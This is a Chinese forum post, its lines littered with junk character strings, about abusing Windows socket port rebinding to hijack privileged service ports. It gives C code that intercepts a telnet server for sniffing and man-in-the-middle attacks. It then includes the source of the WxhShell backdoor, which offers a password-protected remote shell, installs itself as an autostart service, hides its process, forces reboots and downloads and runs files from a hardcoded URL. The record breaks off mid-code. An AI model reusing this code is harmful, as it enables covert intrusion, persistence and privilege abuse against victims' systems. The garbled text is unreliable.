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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0]'7_vDs|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ),0g~'I~D  
d?ex,f.  
  saddr.sin_family = AF_INET; gR&Q3jlIV  
SzAJ2:qhl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ! +a. Ei  
P Y_u/<u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 34`'M+3  
N nRD|A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .I7pA5V{#  
*T- <|zQ  
  这意味着什么?意味着可以进行如下的攻击: {o)Lc6T8s  
@'w"R/,n-@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :G [|CPm-  
c?tBi9'Y]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q_Q/3rh  
y0Fb_"}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &:;:"{t}Do  
|N4.u _hM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U\ ig:  
S ^"y4- 2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )SaGH3~*C  
?ME6+Z\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {ME2ImD  
oL!EYbFD'Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5-|:^hU9  
,-$LmECg  
  #include ,g%0`SO  
  #include 4qO+_!x{)  
  #include 6w*dKInG[-  
  #include    x/NfZ5e0X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QCD .YFM  
  int main() EOIN^4V"  
  { ? }Z1bH  
  WORD wVersionRequested; q]\:P.x!>  
  DWORD ret; ]}Mj)J"m  
  WSADATA wsaData; xmNB29#  
  BOOL val; 3r<~Q7e  
  SOCKADDR_IN saddr; c>,'Y)8   
  SOCKADDR_IN scaddr; @GPCwE1  
  int err; o@r7 n>G  
  SOCKET s; "LHcB]^<  
  SOCKET sc; s28`OKC}  
  int caddsize; !Xh=k36  
  HANDLE mt; g$":D  
  DWORD tid;   g%ndvdb m  
  wVersionRequested = MAKEWORD( 2, 2 ); yd^ {tQi  
  err = WSAStartup( wVersionRequested, &wsaData ); + @A  
  if ( err != 0 ) { Rvkedb  
  printf("error!WSAStartup failed!\n"); ^T( .k=  
  return -1; T%x}Y#U'`  
  } |Z|-q"Rf  
  saddr.sin_family = AF_INET; |+"<wEKI  
   nii A7Ux  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ySk R>y  
sz5MH!/PJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fWCo;4<5?  
  saddr.sin_port = htons(23); x5|I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xN>npP   
  { GX)u|g  
  printf("error!socket failed!\n"); w ~.f  
  return -1; wa(8Hl|Y  
  } '@cANGg7[  
  val = TRUE; kj|6iG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $CxKuB(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BIb4h   
  { Kh"?%ZIa  
  printf("error!setsockopt failed!\n"); N@;?CKU  
  return -1; A ;G;^s  
  } @d^Grm8E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  jPC[_g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ot$-!Y;<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >L|;|X!m9\  
[=x[ w70  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jz?j[  
  { \(~y?l  
  ret=GetLastError(); v:EB*3n5  
  printf("error!bind failed!\n"); ]O Z5 fd  
  return -1; G !<Z.]  
  } NWP5If|'X  
  listen(s,2); -B>++r2A^  
  while(1) 214Ml0/%  
  { ,ZKr .`B  
  caddsize = sizeof(scaddr); LZ\q3 7UV  
  //接受连接请求 }xKP~h'F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,368d9,rDz  
  if(sc!=INVALID_SOCKET) fr,7rS/w{l  
  { x"eRJii?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xk:OL,c  
  if(mt==NULL) anuL1f XO  
  { BoA/6FRi[  
  printf("Thread Creat Failed!\n"); *xc_k"\  
  break; h~A/y!s  
  } *zNYZ#  
  } #:%&x@@c3P  
  CloseHandle(mt); {qDSPo  
  } jy7\+i  
  closesocket(s); MtM%{=&_  
  WSACleanup(); y9_V  
  return 0; O7u(}$D L  
  }   ]~844J p  
  DWORD WINAPI ClientThread(LPVOID lpParam) uvgdY  
  { h}-3\8 >  
  SOCKET ss = (SOCKET)lpParam; 1ofKt=|=  
  SOCKET sc; XoXM ^*Vk  
  unsigned char buf[4096]; @<<<C?CTv  
  SOCKADDR_IN saddr; K*\' .~[6  
  long num; kM!kD4&  
  DWORD val; d; [C6d  
  DWORD ret; (w&F/ynO:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %/EVUN9=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /TE_W@?^  
  saddr.sin_family = AF_INET; |HU@ >  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H!vax)%-\  
  saddr.sin_port = htons(23); xE1 eT,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |yvQ[U~PQ  
  { 2`.cK 3  
  printf("error!socket failed!\n"); hS_6  
  return -1; ?=>+LqP  
  } Ytgcs( /$  
  val = 100; S(QpM.9*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dCb`xR}  
  { %el"BSB  
  ret = GetLastError(); "BD~xP(  
  return -1; %mL-$*  
  } YTAmgkF\4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k")R[)92b?  
  { Z/Eb:  
  ret = GetLastError(); <wZQc  
  return -1; =5aDM\L$&  
  } so PLA68  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]&?Y~"{cD  
  { 3WN`y8l  
  printf("error!socket connect failed!\n"); "rTQG6`  
  closesocket(sc); Q)"C&) `l  
  closesocket(ss); 0YaA`  
  return -1; KuWWUjCE  
  } h a|C&G  
  while(1) n-5W*zk1  
  { 'AzDP;6qFI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y_}mYvJW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `/_o!(Z`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )S`jFQ1  
  num = recv(ss,buf,4096,0); ktI/3Mb@  
  if(num>0) n 9\ C2r  
  send(sc,buf,num,0); )i q-yjO6  
  else if(num==0) j0Bu-sO$w  
  break; YNYx>Ue  
  num = recv(sc,buf,4096,0); og4UhP^UET  
  if(num>0) ?MXejEC  
  send(ss,buf,num,0); dG@"!!,  
  else if(num==0) `{,Dy!rL  
  break; ()tp>  
  } =,%CLS,6w  
  closesocket(ss); $4-$pL6"  
  closesocket(sc); cQG +$0(  
  return 0 ; ?/TSi0R  
  } rJFc({ 0  
0$_oT;{8  
YiYV>gaf"H  
========================================================== *ohL&'y  
5pU2|Bk /  
下边附上一个代码,,WXhSHELL ~i@Y|38C  
Zkx[[gzL  
========================================================== 9Kg21-?  
GRMiQa  
#include "stdafx.h" HN_d{ 3  
Tq NadHQ  
#include <stdio.h> d\%WgH  
#include <string.h> &P.4(1sC  
#include <windows.h> 6)z?f4,  
#include <winsock2.h> ay1YOfa*  
#include <winsvc.h> xAafm<L@!  
#include <urlmon.h> D*Ik7Pe  
$f,n8]  
#pragma comment (lib, "Ws2_32.lib") Sa\!*e_sN  
#pragma comment (lib, "urlmon.lib") p7);uF^O%  
~CVe yk< (  
#define MAX_USER   100 // 最大客户端连接数 nM\eDNK  
#define BUF_SOCK   200 // sock buffer Ys -T0  
#define KEY_BUFF   255 // 输入 buffer ,\X@~ j  
>a"Z\\dF  
#define REBOOT     0   // 重启 RbCPmiZcH  
#define SHUTDOWN   1   // 关机 A; 5n:Sd  
,B08i o-  
#define DEF_PORT   5000 // 监听端口 Z?pnj8h-&  
_tSAI  
#define REG_LEN     16   // 注册表键长度 76>7=#m0u'  
#define SVC_LEN     80   // NT服务名长度 2LNRtW*  
a,3j,(3  
// 从dll定义API G+F#n6Vx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J~B<7O<?!1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7Q7-vx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e2z h&j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $p#%G#T  
Gq_-Val]"  
// wxhshell配置信息 ` L >  
struct WSCFG { ;^ La"m  
  int ws_port;         // 监听端口 xBUya4w  
  char ws_passstr[REG_LEN]; // 口令 HODz*pI  
  int ws_autoins;       // 安装标记, 1=yes 0=no /R~1Zj2&  
  char ws_regname[REG_LEN]; // 注册表键名 *4U^0e  
  char ws_svcname[REG_LEN]; // 服务名 Jo$G,Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IGS1|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rm4.aO~-F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vy_D>tp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3l[Mc Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?notxE7 ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :[\v  
%@;6^=  
}; d}LRl"_n  
w$H^q !(  
// default Wxhshell configuration Y7#-Fra0W  
struct WSCFG wscfg={DEF_PORT, _ ):d`O e  
    "xuhuanlingzhe", ^ "i l}8`  
    1, @o#!EfZyE  
    "Wxhshell", ~zil/P8  
    "Wxhshell", RletL)  
            "WxhShell Service", QYa(N[~a  
    "Wrsky Windows CmdShell Service", '; =f  
    "Please Input Your Password: ", &ZghMq~  
  1, `6 /$M!4$  
  "http://www.wrsky.com/wxhshell.exe", XO-Prs  
  "Wxhshell.exe" u$*56y   
    }; pWPIJ>2G:  
A,V\"KU  
// 消息定义模块 BYO"u6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; chV9_(8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $={:r/R`i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fMGbODAvY  
char *msg_ws_ext="\n\rExit."; e%4:) IV!;  
char *msg_ws_end="\n\rQuit."; CNr/U*+  
char *msg_ws_boot="\n\rReboot..."; vo\fUT@k  
char *msg_ws_poff="\n\rShutdown..."; 2-=\~<)  
char *msg_ws_down="\n\rSave to "; )+6v  
psnTFe  
char *msg_ws_err="\n\rErr!"; K`/`|1  
char *msg_ws_ok="\n\rOK!"; YY&l?*M<  
S-7'it!1  
char ExeFile[MAX_PATH]; 6(]tYcC  
int nUser = 0; h G gx  
HANDLE handles[MAX_USER]; 0dA7pY9  
int OsIsNt; d0aCY  
: p{+G  
SERVICE_STATUS       serviceStatus; N=5)fe%{4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hty0Rb[dH  
XYS'.6k(  
// 函数声明 QCH}-q)  
int Install(void); `(1K  
int Uninstall(void); :C}2=  
int DownloadFile(char *sURL, SOCKET wsh); ,*&G1|_6  
int Boot(int flag); R+nMy=I%8  
void HideProc(void); fwrJ!j  
int GetOsVer(void); "t({D   
int Wxhshell(SOCKET wsl); u)ev{)$TM  
void TalkWithClient(void *cs); )I^2k4Cg"  
int CmdShell(SOCKET sock); Nc :({@I  
int StartFromService(void); e1>aTu@  
int StartWxhshell(LPSTR lpCmdLine); ! iptT(2  
%V1Z~HC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P6 ;'Sza  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b B  x?  
4Sm]>%F':  
// 数据结构和表定义 % r-V2)  
SERVICE_TABLE_ENTRY DispatchTable[] = Yk'9U-.mc  
{ PzV@umC1#f  
{wscfg.ws_svcname, NTServiceMain}, "S&@F/  
{NULL, NULL} iT;@bp  
}; DHw&+MY  
ot`%*  
// 自我安装 !@x+q)2  
int Install(void) FuUD 61JHY  
{ S#-wl2z  
  char svExeFile[MAX_PATH]; %'xb%`t  
  HKEY key; wO:Sg=,  
  strcpy(svExeFile,ExeFile);  U3izvM  
I=7Y]w=  
// 如果是win9x系统,修改注册表设为自启动 S@}1t4Ls:  
if(!OsIsNt) { "]m+z)lWd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vo9F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kaxvP v1  
  RegCloseKey(key); ?;wpd';c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &-czStQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [U@ *1  
  RegCloseKey(key); "+z?x~rk  
  return 0; sK"9fU  
    } yf?h#G%24  
  } >6~k9>nDb<  
} RrhT'':[  
else { :d0Y%vl  
j ,)P9V  
// 如果是NT以上系统,安装为系统服务 DbZ0e5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (faK+z,*6R  
if (schSCManager!=0) %*o8L6Hn  
{ 'qArf   
  SC_HANDLE schService = CreateService B d^"=+c4  
  ( Fhv2V,nZ<  
  schSCManager, T1` |~Z?g-  
  wscfg.ws_svcname, Q|,B*b  
  wscfg.ws_svcdisp, K*IxUz(  
  SERVICE_ALL_ACCESS, }m/RZP~=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2>]a)  
  SERVICE_AUTO_START, *d(SI<j  
  SERVICE_ERROR_NORMAL, Z2Zq'3*  
  svExeFile, 2[B4f7  
  NULL, kF{*(r=.o  
  NULL, &(z fa&j|  
  NULL, E"%2)  
  NULL, aYn8 ^  
  NULL hKNY+S})g  
  ); YC=S5;  
  if (schService!=0) T# lP!c  
  { WKpA|  
  CloseServiceHandle(schService); B_ja&) !s1  
  CloseServiceHandle(schSCManager); .}k(L4T|=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nx:KoB"ny  
  strcat(svExeFile,wscfg.ws_svcname); FP#FB$eP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y4F6qyP)"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1[E#vdbT  
  RegCloseKey(key); z305{B:Y  
  return 0; <]Wlx`=/D  
    } _ 1*7Z=|  
  } 1`LXz3uBe  
  CloseServiceHandle(schSCManager); Vvt  ;  
} Kzb`$CGK  
} R0;ef D  
x1gx$P  
return 1; 6*nAo8gl  
} Bi~:>X\[^6  
sp QLG_o,J  
// 自我卸载 G ){g  
int Uninstall(void) QC0!p"  
{ Fl{WAg  
  HKEY key; '4OcZ/oI  
B/J&l  
if(!OsIsNt) { b@t5`Y-+K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IN7<@OS7  
  RegDeleteValue(key,wscfg.ws_regname); xU S]P)R  
  RegCloseKey(key); 9p@C4oen  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?/M_~e.P  
  RegDeleteValue(key,wscfg.ws_regname); m7=1%6FN3  
  RegCloseKey(key); 0IT@V5Gdj  
  return 0; #hL*r bpT  
  } j2M+]Zp.  
} 02JoA+  
} zTo8OPr  
else { ~u&|G$1!0  
U@Tj B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -$<O\5cAQ  
if (schSCManager!=0) ~|Z'l%<Os  
{ s?3i) Ymr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y-~~,Yl~  
  if (schService!=0) G{x[uE2X&f  
  { [9mL $;M W  
  if(DeleteService(schService)!=0) { ;`v% sx#  
  CloseServiceHandle(schService); gVU1Y6.  
  CloseServiceHandle(schSCManager); h:/1X' 3d  
  return 0; i2Jq|9,g  
  } !&] z*t  
  CloseServiceHandle(schService); 2.Yi( r  
  } [U\(G  
  CloseServiceHandle(schSCManager); p" `%  
} u>.y:>  
} 0 nW F  
H]31l~@]  
return 1; IeF keE  
} x`Fjf/1T*m  
Y7U&Q:5'  
// 从指定url下载文件 1;| LI?  
int DownloadFile(char *sURL, SOCKET wsh) 2GWDEgI1o  
{ b^`AJK  
  HRESULT hr; *s)}Bj  
char seps[]= "/"; Eff\Aq{  
char *token; F6S~$<  
char *file; 4B-yTyO  
char myURL[MAX_PATH]; r;iV$Rq !  
char myFILE[MAX_PATH]; *(GZ^QH.  
8v y G*UK  
strcpy(myURL,sURL); {UH9i'y:t  
  token=strtok(myURL,seps); U!e6FHj7  
  while(token!=NULL) 2L\3S ukj  
  { .tF|YP==  
    file=token; {<w +3Va  
  token=strtok(NULL,seps); BH@b1}  
  } UP2.]B!d  
*/OI *{Q  
GetCurrentDirectory(MAX_PATH,myFILE); %85Icg  
strcat(myFILE, "\\"); W7UtA.2LT  
strcat(myFILE, file); L>Jd7; =  
  send(wsh,myFILE,strlen(myFILE),0); rOl6lQW  
send(wsh,"...",3,0); u/AT-e r;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |V`S >m%N  
  if(hr==S_OK) Sl~x$9`  
return 0; X;fy\HaU  
else @qK<T  
return 1; BIWD/ |LQ  
b;9n'UX\  
} :kw0y  
O|v (5 8A  
// 系统电源模块 J\W-dI  
int Boot(int flag) K]N~~*`%`  
{ uhn%lV]  
  HANDLE hToken; s` >H  
  TOKEN_PRIVILEGES tkp; Q!CO0w  
Ly (P=M>"y  
  if(OsIsNt) { @R:#"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f\ "`7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l+ T, 2sd  
    tkp.PrivilegeCount = 1; s3lJu/Xe{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @?2n]n6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g0#q"v55  
if(flag==REBOOT) { )&Z>@S^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K&pM o.  
  return 0; dc^Vc{26Z  
} }. %s xw  
else { ;;LuU<,$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aIGn9:\  
  return 0; rFXSO=P?Z  
} {-*\w-~G  
  } W\ULUK  
  else { mf*Nr0L;J  
if(flag==REBOOT) { R40W'N 1%q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wz@FrRP=  
  return 0; Y"> 4Qx4W  
} Hbr^vYs5  
else { ]G1R0 Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mC(u2  
  return 0; hhq$g{+[  
} nN{dORJlx  
} 1 Nk1MGV  
bf98B4<  
return 1; aR(E7mXQ  
} &d 3HB=x  
&|z544  
// win9x进程隐藏模块 ag]*DsBt  
void HideProc(void) \8_V(lU   
{ &,uC9$  
J'7 y   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +>E5X4JC  
  if ( hKernel != NULL ) q0|Z oP  
  { T8q[7Zn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SL*DK.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E*4t8  
    FreeLibrary(hKernel); /Nqrvy=  
  } OLFt;h  
??TdrTS  
return; </w 7W3F  
} y''0PSfb#  
<lx^aakk!  
// 获取操作系统版本 X\G)81Q.S  
int GetOsVer(void)  wF;B@  
{ U(A4v0T  
  OSVERSIONINFO winfo; XIN5a~[z*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LD@7(?mlU  
  GetVersionEx(&winfo); 7ti<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;l`X!3  
  return 1; lQr6;D}+  
  else -RCv7U`  
  return 0; !d|8'^gc  
} j&llrN  
AFtCqq#[  
// 客户端句柄模块 El1:?4;  
int Wxhshell(SOCKET wsl) zPE#[\O21B  
{ %Ht ^yemQ  
  SOCKET wsh; ;zm ks]  
  struct sockaddr_in client; b7f0#*(?  
  DWORD myID; 0Q*-g}wXfS  
j/`Up  
  while(nUser<MAX_USER) US]"4=Zm  
{ 49y *xMn  
  int nSize=sizeof(client); 7BrV<)ih{*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5\+EHW!o  
  if(wsh==INVALID_SOCKET) return 1; 45r|1<Ro  
8v$ g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X o_] v  
if(handles[nUser]==0) =u[rOU{X"W  
  closesocket(wsh); |<QI%Y$dr  
else \SzGzCJ  
  nUser++; t_Z _!Qy  
  } >~>{;Wq(p+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dWIZ37w+D  
|3"NwM>  
  return 0; {SHqW5VX  
} FB.!`%{  
|Pj9ZG#  
// 关闭 socket ]#M/$?!]g2  
void CloseIt(SOCKET wsh) H&u4v2  
{ I4CHfs"ar  
closesocket(wsh); w2K Wa-BO  
nUser--; :MdEr//w  
ExitThread(0); ax;{MfsK  
} T!&jFy*W  
->Q`'@'|P  
// 客户端请求句柄 "?`JA7~g  
void TalkWithClient(void *cs) <Q\H  
{ g!.Ut:8L9  
sOjF?bCdO  
  SOCKET wsh=(SOCKET)cs; Skr iX\p  
  char pwd[SVC_LEN]; s?~8O|Mu'  
  char cmd[KEY_BUFF]; B5 tx f.  
char chr[1]; a5>)?m  
int i,j;  }Olr  
Qlf 9]ug)  
  while (nUser < MAX_USER) { SAQs {M  
Kyyih|{  
if(wscfg.ws_passstr) { 3[,wMy"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K]%N-F>r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \kfcv  
  //ZeroMemory(pwd,KEY_BUFF); $]Rl__;  
      i=0; oMz/sL'u  
  while(i<SVC_LEN) { 5_PWGaQa  
s&Z35IM8|  
  // 设置超时 p9k4w% ~:  
  fd_set FdRead; d~vTD|Et  
  struct timeval TimeOut; +$(71#'y  
  FD_ZERO(&FdRead); d"LoK,p#  
  FD_SET(wsh,&FdRead); tru;;.lj8K  
  TimeOut.tv_sec=8; fuQ4rt[i  
  TimeOut.tv_usec=0; (q~R5)D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5>N6VeM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?'TA!MR  
XTIu(f|d_;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JgxE|#*7U  
  pwd=chr[0]; L,yA<yrC  
  if(chr[0]==0xd || chr[0]==0xa) { 'E@2I9Kj  
  pwd=0; @*bvMEE  
  break; Zm`'MsgFr  
  } :QxL 9&"  
  i++; +p8qsT#7  
    } :Pj W:]  
g?w2J6Z.`J  
  // 如果是非法用户,关闭 socket M" xZz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JTSq{NN  
} v&k>0lV, ^  
RI#lI~&)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )PsN_ 42~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XKpL4]{&q4  
m]{<Ux  
while(1) { )RpqZe/h4  
oqm  
  ZeroMemory(cmd,KEY_BUFF); v@F|O8t:s  
E_ o{c5N  
      // 自动支持客户端 telnet标准   %kF TnXHK  
  j=0; 200L  
  while(j<KEY_BUFF) { HGU?bJ~6o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ./7&_9| <  
  cmd[j]=chr[0]; }<6oFUZ  
  if(chr[0]==0xa || chr[0]==0xd) { T][-'0!  
  cmd[j]=0; bbE bf !E  
  break; KyuA5jQ7  
  } ({D}QEP  
  j++; UY?i E=  
    } vgUhN_rK  
?|%\<h@;  
  // 下载文件 TBoM{s=.  
  if(strstr(cmd,"http://")) { <`oCz Q1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Q@/F~1@6@  
  if(DownloadFile(cmd,wsh)) EX+={U|ua$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x`};{oz;  
  else 'd|Q4RE+W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [0mFy) 6  
  } ;zfQ3$@9  
  else { < fojX\}3  
Fw(b1d>E  
    switch(cmd[0]) { ZXF AuF  
  &:!ZT=  
  // 帮助 gaLEhf^  
  case '?': { cq'}2pob  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ HC8-N^.}  
    break; 6Tm Rc  
  } \;3B?8wbIl  
  // 安装  ;'2`M  
  case 'i': { ]7XkijNb  
    if(Install()) 2<46jJYL'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!HfH(is\  
    else 3s+<    
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~8KF<2c   
    break; i6!T`Kau  
    } ::3iXk)  
  // 卸载 b0~H>cnA  
  case 'r': { Gvt;Q,hH  
    if(Uninstall()) y(aAp.S>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PV,kYM6  
    else y V 9]_k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z@>=&  
    break; 7- *( a  
    } I]uOMWZs  
  // 显示 wxhshell 所在路径 (<d&BV-"  
  case 'p': { 'S%} ?#J  
    char svExeFile[MAX_PATH]; [*Aqy76Qa  
    strcpy(svExeFile,"\n\r"); Yj^avO=;  
      strcat(svExeFile,ExeFile); m>Yo 9/XpZ  
        send(wsh,svExeFile,strlen(svExeFile),0); 7d M6;`V^  
    break; &;~2sEo,  
    } X]&;8  
  // 重启 RTPq8S"  
  case 'b': { ei+9G,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !]{1h  
    if(Boot(REBOOT)) uFm(R/V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QoT3;<r}  
    else { ~RZJ/%6F  
    closesocket(wsh); 8xD<A|  
    ExitThread(0); 4."o.:8x  
    } bo~{<UT  
    break; &6,Yjs:T m  
    } |d B1R%  
  // 关机 @dWS*@  
  case 'd': { /P?|4D}<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tpNtoqg_$  
